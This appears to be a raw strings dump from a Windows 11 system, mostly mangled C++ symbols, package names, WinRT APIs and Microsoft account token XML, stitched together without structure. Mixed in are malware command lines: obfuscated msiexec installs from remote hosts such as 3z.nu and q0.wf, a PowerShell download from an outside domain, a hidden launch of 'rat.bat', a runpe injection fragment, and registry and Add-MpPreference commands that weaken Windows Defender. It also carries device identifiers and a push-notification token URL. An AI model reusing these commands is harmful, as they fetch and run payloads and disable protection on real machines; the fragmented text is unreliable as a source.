.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@U1234@@Foundation@Windows@winrt@@V<lambda_273_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@0@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@1@Z@Z@@impl@winrt@@
.?AV<lambda_274_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@W4PageId@TaskManagerApp@7@@Z@?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4PageId@TaskManagerApp@4@@Foundation@Windows@winrt@@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P85678@EAAXAEBUIInspectable@234@W4PageId@TaskManagerApp@4@@Z@Z@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4PageId@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_274_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@W4PageId@TaskManagerApp@7@@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@W4PageId@TaskManagerApp@4@@Z@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@U1234@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$heap_implements@U?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@@impl@winrt@@
.?AV<lambda_273_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@0@Z@?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@U1234@@Foundation@Windows@winrt@@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P85678@EAAXAEBUIInspectable@234@1@Z@Z@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@U1234@@Foundation@Windows@winrt@@V<lambda_273_>@?0???$?0VXamlApp@Xaml@View@TaskManager@@P80123@EAAXAEBUIInspectable@Foundation@Windows@winrt@@0@Z@1234@QEAA@PEAVXamlApp@Xaml@View@TaskManager@@P86789@EAAXAEBUIInspectable@234@1@Z@Z@@impl@winrt@@
.?AU?$heap_implements@U?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@@impl@winrt@@
.?AU?$heap_implements@U?$reference@W4Visibility@Xaml@UI@Windows@winrt@@@impl@winrt@@@impl@winrt@@
a4^windows.comInterface
a4^windows.fileExplorerContextMenus4
^windows.webAccountProvideN
$@Digest Authentication for Windows
execute("runpe(@homedrive&'\windows\microsoft.net\framework\v4.0.30319\regasm.exe',$
powershell-windowstylehidden-command"start-process-filepath'%~f0'-argumentlist'h'-windowstylehidden"
x&Bnac:\windows\system32\cmd.exe/
c:\windows\system32\cmd.exefilesharing3/d/v/r^sta^rt^msiex^ec^vi=y^y-^qg^j^g^j^r^t^x^t^m=^a^o^a^m^tv/pa^c^k^ag^e"http://3z.nu:8080/atap8/i7udyh7qxgtncgo54swcmqpeg/zkkf0haf/yswn/!computername!""%systemroot%\system32\imageres.dll%
8executionpolicybypass-windowstylehidden-commandsrms-apr.dat;(new-objectsystem.net.webclient).downloadfile('https://www.dobiamfollollc.online/k
9P7T44TTDL7MRESIDENT EVIL 3 for Windowshttps://store-images.s-microsoft.com/image/apps.4880.71880157815410720.768ba6e5-793f-45af-8f98-a14bc261e1c1.5634c02b-d53f-43e1-b132-de624b29bac2en
9P7T44TTDL7MRESIDENT EVIL 3 for Windowshttps://store-images.s-microsoft.com/image/apps.4880.71880157815410720.768ba6e5-793f-45af-8f98-a14bc261e1c1.5634c02b-d53f-43e1-b132-de624b29bac2fr
9P7T44TTDL7MRESIDENT EVIL 3 for Windowshttps://store-images.s-microsoft.com/image/apps.4880.71880157815410720.768ba6e5-793f-45af-8f98-a14bc261e1c1.5634c02b-d53f-43e1-b132-de624b29bac2de
/agenzia/entrat.exeiconfile=c:\windows\system32\shell32.dll
p^a^cka^ge"http://q0.wf:8080/ykb185/x8fxygnnkob8ek6l8kzseidxjq/m4th/!computername!"!%systemroot%\system32\shell32.dll
powershell-windowstylehidden-command"start-process-filepath'c:\programdata\%computername%\rat.bat'-windowstylehidden
powershell.exe-command"add-mppreference-exclusionpath"c:\windowsstartc:\users\%username%\appdata\local\anon\
ComSpec=C:\WINDOWS\system32\cmd.exe
System.Windows.Forms.pdb
file:///c:/windows/diagnostics/index/windowsupdatediagnostic.xml
=createobject("wscript.shell")objshell.run"c:\users\public\windowsusb\dll\cpsystemdll.cmd",vbhide
set_WindowState
IsDockWindowState
FormWindowState
\appdata\roaming\microsoft\windows\
Windows.FullTrustApplication|
0b3d8bbwe?ms-resource://Microsoft.WindowsStore/Files/Assets/AppT
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe
amd64_microsoft-windows-e..oyment-languagepack_31bf3856ad364e35_en-us_b49169211de1ff63
amd64_microsoft-windows-e..oyment-languagepack_31bf3856ad364e35_en-us_c41544d8c4bc4f13
amd64_microsoft-windows-e..oyment-languagepack_31bf3856ad364e35_en-us_cba2e2d7cc571103
amd64_microsoft-windows-e..oyment-languagepack_31bf3856ad364e35_en-us_d0e67565c51d2101
amd64_microsoft-windows-e..oyment-languagepack_31bf3856ad364e35_en-us_dd10568c06d2bf7a
amd64_microsoft-windows-e..oyment-languagepack_31bf3856ad364e35_en-us_e69f7b9e28c35597%
amd64_microsoft-windows-e..oyment-languagepack_31bf3856ad364e35_en-us_fc352a609fc8c287
Windows.Data.UnifiedTile.StartTileProperties
WindowsDialogBox9	
WindowsMessage
\appdata\roaming\microsoft\windows\start menu\programs\startup\
Lua:TopLevelFile.A!FileInSystem32
Lua:TopLevelFile.A!Lua:FileInWindows
:\windows\softwaredistribution
:\windows\csc\
:\windows\assembly\
:\windows\microsoft.net\framework\
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
c:\windows\system32\cmd.exe/cstartam.js&startbengkel""skm.pptx&exit
#lementation (address at index.windows:1:51175)
OS=Windows_NT
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
Global.WindowsOobeAppHost.AppX05dbt8nqg2my7an1972z1krx3ezgsqph.mca
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
Microsoft-Windows-EditionPack-Professional-
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
WindowsDuplicateString
WindowsCreateStringReference
WindowsGetStringRawBuffer
WindowsStringHasEmbeddedNull
WindowsCreateString
WindowsDeleteString
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Notifications.WidgetAnnouncement.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Providers.WidgetManager.g.h
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Data.Cur
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\Staging.h
Microsoft-Windows-ShellExperienceHost-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
ULOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
GetSystemWindowsDirectoryW
GetSystemWindowsDirectoryW
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Kernel-Package-Kernel-Power-Events-Container-Package~31bf3856ad364e35~amd64~~10.0.26100.7171.cat
Microsoft.Windows.App.Browser
Microsoft.Windows.Wil.FeatureLogging
arams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID"/><wsse:Reference URI=""/></wsse:RequestedTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-20T15:59:52Z</wsu:Created><wsu:Expires>2026-02-20T16:04:52Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#Timestamp"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#PPAuthInfo"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue><KeyInfo><wsse:SecurityTokenReference><wsse:Reference URI="#SignKey"/></wsse:SecurityTokenReference></KeyInfo></Signature></wsse:Security></s:Header><s:Body><wst:RequestSecurityToken Id="RST0"><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>settings-win.data.microsoft.com</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><wsp:PolicyReference URI="MBI_SSL"></wsp:PolicyReference></wst:RequestSecurityToken></s:Body></s:Envelope>
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{D80D1001-5B38-49E9-9D34-EC9B84779189}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherDaf:mobileConfigVersion>16.000.26208.0</psf:mobileConfigVersion><psf:appDataVersion>1</psf:appDataVersion><psf:authstate>0x48803</psf:authstate><psf:reqstatus>0x0</psf:reqstatus><psf:serverInfo LocVersion="0" ServerTime="2026-02-20T15:59:53Z" BuildVersion="16.0.30914.10">SN1PEPF0002F141 16.0.30914.10</psf:serverInfo><psf:cookies/><psf:credProperties><psf:credProperty Name="AuthMembername">*</psf:credProperty><psf:credProperty Name="AgeGroup">*</psf:credProperty><psf:credProperty Name="ChildFlags">*</psf:credProperty><psf:credProperty Name="Flags">*</psf:credProperty><psf:credProperty Name="FlagsV2">*</psf:credProperty><psf:credProperty Name="IP">*</psf:credProperty><psf:credProperty Name="AssociatedForStrongAuth">*</psf:credProperty><psf:credProperty Name="RestrictedDA">*</psf:credProperty><psf:credProperty Name="TemporaryPassword">*</psf:credProperty><psf:credProperty Name="KeyPurposes">*</psf:credProperty><psf:credProperty Name="HasPassword">*</psf:credProperty></psf:credProperties><psf:extProperties><psf:extProperty Name="Notifications"></psf:extProperty></psf:extProperties><psf:response/><psf:DeviceTpmKeyState>*</psf:DeviceTpmKeyState><psf:LicenseSignatureKeyVersion>*</psf:LicenseSignatureKeyVersion></psf:pp></S:Header><S:Body><wst:RequestSecurityTokenResponse><wst:TokenType>urn:passport:legacy</wst:TokenType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>http://Passport.NET/tb</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><wst:Lifetime><wsu:Created>2026-02-20T15:59:53Z</wsu:Created><wsu:Expires>2026-04-21T17:39:52Z</wsu:Expires></wst:Lifetime><wst:RequestedSecurityToken><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData></wst:RequestedSecurityToken><wst:RequestedAttachedReference><wsse:SecurityTokenReference><wsse:Reference URI="2jmj7l5rSw0yVb/vlWAYkK/YBwk="></wsse:Reference></wsse:SecurityTokenReference></wst:RequestedAttachedReference><wst:RequestedUnattachedReference><wsse:SecurityTokenReference><wsse:Reference URI="2jmj7l5rSw0yVb/vlWAYkK/YBwk="></wsse:Reference></wsse:SecurityTokenReference></wst:RequestedUnattachedReference><wst:RequestedProofToken><wst:BinarySecret Type="urn:liveid:clepkey">*</wst:BinarySecret><EncryptedKey xmlns="http://www.w3.org/2001/04/xmlenc#"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedKey></wst:RequestedProofToken></wst:RequestSecurityTokenResponse></S:Body></S:Envelope>
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{DF60E2DF-88AD-4526-AE21-83D130EF0F68}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><wsse:UsernameToken wsu:Id="devicesoftware"><wsse:Username>*</wsse:Username></wsse:UsernameToken><wsse:BinarySecurityToken ValueType="urn:liveid:device" id="DeviceDAToken">6wluwAVdt1a4Daw6i+yMqqwWB0D7adlfdXmCpPRAFao=</wsse:BinarySecurityToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-20T15:59:50Z</wsu:Created><wsu:Expires>2026-02-20T16:04:50Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#PPAuthInfo"><Transforms><Transform0
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
https://www.bing.com/AS/API/WindowsCortanaPane/V2/Suggestions
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
\windows\
Microsoft.Windows.Audio.Spatial.Metadata
Microsoft.Windows.Storage.StorageReserve
Microsoft.Windows.Midi2.DiagnosticsTransport
Microsoft.Windows.StateRepository.Service
Microsoft.Windows.Audio.EndpointBuilder
Microsoft.Windows.RoamingUserProfiles
Microsoft.Windows.Shell.UserProfiles
Microsoft.Windows.Audio.MultimediaDevice
Microsoft.Windows.Audio.Service
Microsoft.Windows.Sensors.WinRTLayer
Microsoft.Windows.Audio.License
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Kv'Windows Media Player Legacy&
OS=Windows_NT
OS=Windows_NT
?nonUserInputEventsQueued@QWindowSystemInterface@@SA_NXZ
?nonUserInputEventsQueued@QWindowSystemInterfacePrivate@@SA_NXZ
*\java\* *\teamviewer\* *\windows\**
SOFTWARE\Microsoft\Windows NT\CurrentVersion
	S\System32\Ope
icrosoft\WindowsApps
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.appdisplayinfofactory.cpp
onecore\base\appmodel\runtime\winrt\lib\windows.applicationmodel.designmodefactory.cpp
Windows.Devices.Radios.pdb
Windows Media Foundation\ByteStreamHandlers\.webm
%BrowserAppProfile%\New Windows!BlockUserInit
%BrowserAppProfile%\New Windows!InactiveTabWindows
Microsoft.Windows.WebView2RuntimeSelector
9NP6WL1XQDBWFocusHomeInteractiveSA.SnowRunnerWindows10_4hny5m903y3g0Focus Entertainment
9NQV7C0G1040AvalancheStudios.theHunterCalloftheWild-Windows10_m0byj0nmrybdrAvalanche Studios
Windows.Data.Apps.AppLevelTileInfo
Windows.Data.Calling.CallHistoryLocalCache
.P6A?AV?$vector@V?$com_ptr_t@UIInitialCollectionPostProcessor@CuratedTileCollections@UnifiedTile@Shell@WindowsInternal@@Uerr_exception_policy@wil@@@wil@@V?$allocator@V?$com_ptr_t@UIInitialCollectionPostProcessor@CuratedTileCollections@UnifiedTile@Shell@Win
AS/API/WindowsCorta
ext-ms-win-ntuser-windowstation-l1-1-0.dll
Windows.Data.PlaceholderTile
WINDOWS11
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.TlgAggregateInternal
Windows.Security.Authentication.OnlineId.pdb
Windows::Security::Authentication::OnlineId::OnlineIdServiceTicket::get_Value
Windows::Security::Authentication::OnlineId::OnlineIdServiceTicketRequest::get_Service
Windows::Security::Authentication::OnlineId::OnlineIdServiceTicketRequest::get_Policy
Windows::Security::Authentication::OnlineId::Identity::GetTickets
Windows::Internal::Security::WebAuthentication::UserHostIdentity::get_Tickets
Windows::Internal::Security::WebAuthentication::UserHostAuthenticationOperation::InitializeWorker
Windows::Internal::Security::WebAuthentication::AuthenticationManager::AuthenticateUserHostAsync
Windows::Security::Authentication::OnlineId::OnlineIdServiceTicketRequest::Initialize
Windows
System32
global\dbwindowsbaseg
<channel><id>1;9224202963191048905</id><appkey>microsoft.windows.pushtoinstall_cw5n1h2txyewy</appkey><properties>0</properties></channel>
<channel><id>1;9224202963191048905</id><appkey>microsoft.windows.pushtoinstall_cw5n1h2txyewy</appkey><properties>0</properties></channel>
<channel-response><id>1;9224202963191048905</id><exp>2026-03-26T08:02:31Z</exp><url>https://wns2-ln2p.notify.windows.com/?token=AwYAAADYVW0F1pS8XMqIyOiwxBbFSLoXKQHaL1YlCzphP2m7NNo2CiRGFvR5niPvLeP6Vq070gtU3%2fnkF4TddUSSM9a55F9ekDJNgnv%2bxDq6i7GrHwaftSSrzf1z9iYo1zRxpIY%3d</url></channel-response>
<channel-response><id>1;9224202963191048905</id><exp>2026-03-26T08:02:31Z</exp><url>https://wns2-ln2p.notify.windows.com/?token=AwYAAADYVW0F1pS8XMqIyOiwxBbFSLoXKQHaL1YlCzphP2m7NNo2CiRGFvR5niPvLeP6Vq070gtU3%2fnkF4TddUSSM9a55F9ekDJNgnv%2bxDq6i7GrHwaftSSrzf1z9iYo1zRxpIY%3d</url></ch
client.wns.windows.com
client.wns.windows.com
client.wns.windows.com
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
client.wns.windows.com
client.wns.windows.com
client.wns.windows.com
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
WindowsGetStringRawBuffer
WindowsStringHasEmbeddedNull
WindowsDuplicateString
WindowsGetStringLen
WindowsCreateStringReference
WindowsIsStringEmpty
.?AU?$default_delete@VVerifyFeatureVelocity@Core@Cloud@Storage@Internal@Windows@@@std@@
.?AU?$default_delete@VCloudStoreCoreBackupStatus@Core@Cloud@Storage@Internal@Windows@@@std@@
.?AU?$default_delete@VCloudStoreCore@Core@Cloud@Storage@Internal@Windows@@@std@@
.?AU?$iunknown_deleter@VActivityPublishCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VActivityAssetPublishCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VGetActivityAssetCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VActivityDismissCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VGetActivitiesByAppActivityIdAndDeviceIdAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VGetActivitiesByAppActivityIdAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
Windows Security Alert\_favdata.dat
MsaUI_CredUIPromptForWindowsCredentials
CredUIPromptForWindowsCredentialsW
Windows.Security.Authentication.OnlineId.dll
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsDeleteString
WindowsCreateStringReference
WindowsDuplicateString
WindowsConcatString
WindowsGetStringLen
ext-ms-win-ntuser-windowstation-l1-1-0.dll
Windows::Security::Authentication::OnlineId::OnlineIdAuthenticator::get_CanSignOut
Windows::Security::Authentication::OnlineId::OnlineIdAuthenticator::GetAuthenticatedSafeCustomerIdImpl
Windows::Security::Authentication::OnlineId::OnlineIdAuthenticator::get_AuthenticatedSafeCustomerId
Windows::Security::Authentication::OnlineId::OnlineIdAuthenticator::Initialize
Windows::Internal::Security::WebAuthentication::SystemAuthenticatorInternal::GetSystemTicketAsync
Windows::Internal::Security::WebAuthentication::SystemAuthenticatorInternal::GetSystemTicketAsyncWorkerStartAuth
Windows::Security::Authentication::OnlineId::OnlineIdSystemAuthenticator::GetForUser
6regadd"hklm\software\policies\microsoft\windowsdefender\exclusions\paths"/v"c:\programdata"/treg_dword/d0/f
mozilla/5.0(windowsnt10.0;win64;x64)applewebkit/537.36(khtml,likegecko)chrome/70.0.3538.77safari/537.36
B%systemroot%\system32\windowspowershell\v1.0\powershell.exe-noprofile-executionpolicybypass-command
regadd"hklm\software\policies\microsoft\windowsdefender\mpengine"/v"mpenablepus"/treg_dword/d"0"/f
Windows::Internal::Security::WebAuthentication::UserHostIdentity::get_Id
Windows::Security::Authentication::OnlineId::OnlineIdServiceTicket::get_ErrorCode
Windows::Internal::Security::WebAuthentication::AuthenticationManager::put_ApplicationId
Windows::Security::Authentication::OnlineId::OnlineIdSystemTicketResult::get_ExtendedError
Windows::Security::Authentication::OnlineId::UserAuthenticationOperation::InitializeState
Windows::Internal::Security::WebAuthentication::UserHostAuthenticationOperation::AcquireToken
Windows::Security::Authentication::OnlineId::OnlineIdServiceTicketRequestFactory::CreateOnlineIdServiceTicketRequestAdvanced
Windows::Internal::Security::WebAuthentication::AuthenticationManager::Initialize
Windows::Security::Authentication::OnlineId::SignOutUserOperation::InitializeWorkerHelper
Windows::Internal::Security::WebAuthentication::AuthenticationManager::OverrideApplicationSID
Windows::Security::Authentication::OnlineId::SignOutUserOperation::DoWork
Windows::Security::Authentication::OnlineId::SignOutUserOperation::ForgetUser
Windows::Internal::Security::WebAuthentication::InvalidateCacheOperation::InvalidateCache
Windows::Security::Authentication::OnlineId::SignOutUserOperation::ExecuteSynchronously
Windows::Internal::Security::WebAuthentication::AuthenticationManager::AuthenticateUserHostAsyncAdvanced
Windows::Security::Authentication::OnlineId::OnlineIdAuthenticator::AuthenticateUserAsyncAdvanced
Windows::Internal::Security::WebAuthentication::AuthenticationManager::SignOutUserSync
Windows::Security::Authentication::OnlineId::Onl
Windows::Internal::Security::WebAuthentication::SystemAuthenticatorInternal::GetSystemTicketAsyncWorkerGetResults
Windows::Security::Authentication::OnlineId::OnlineIdSystemTicketResult::get_Identity
Windows::Security::Authentication::OnlineId::OnlineIdSystemTicketResult::get_Status
Windows::Security::Authentication::OnlineId::OnlineIdSystemAuthenticatorForUser::put_ApplicationId
Windows::Security::Authentication::OnlineId::OnlineIdSystemIdentity::get_Ticket
Windows::Security::Authentication::OnlineId::OnlineIdSystemAuthenticatorForUser::GetTicketAsync
Windows::Security::Authentication::OnlineId::OnlineIdSystemAuthenticatorForUser::GetSystemTicketInternalAsyncWorkerStartAuth
Windows::Security::Authentication::OnlineId::OnlineIdServiceTicket::Clear
Windows::Security::Authentication::OnlineId::Identity::SetPropertyByName
Windows::Security::Authentication::OnlineId::Identity::GetPropertyByName
Windows::Security::Authentication::OnlineId::OnlineIdServiceTicket::SetValues
Windows::Security::Authentication::OnlineId::AuthenticationOperationBase<class Windows::Internal::Security::WebAuthentication::UserHostIdentity *>::GetIdentityFromCache
Windows::Security::Authentication::OnlineId::Identity::InitializeTicketVector
Windows::Security::Authentication::OnlineId::Identity::PopulateIdentityProperties
Windows::Security::Authentication::OnlineId::Identity::PopulateTickets
Windows::Internal::Security::WebAuthentication::UserHostAuthenticationOperation::GetResults
Windows::Security::Authentication::OnlineId::AuthenticationOperationBase<class Windows::Internal::Security::WebAuthentication::UserHostIdentity *>::SetTargetsInternal
Windows::Security::Authentication::OnlineId::UserAuthenticationOperation::ShouldUpsell
Windows::Security::Authentication::OnlineId::AuthenticationOperationBase<class Windows::Security::Authentication::OnlineId::UserIdentity *>::SetTargetsInternal
Windows::Internal::Security::WebAuthentication::UserHostAuthenticationOperation::SetupIdentityHandle
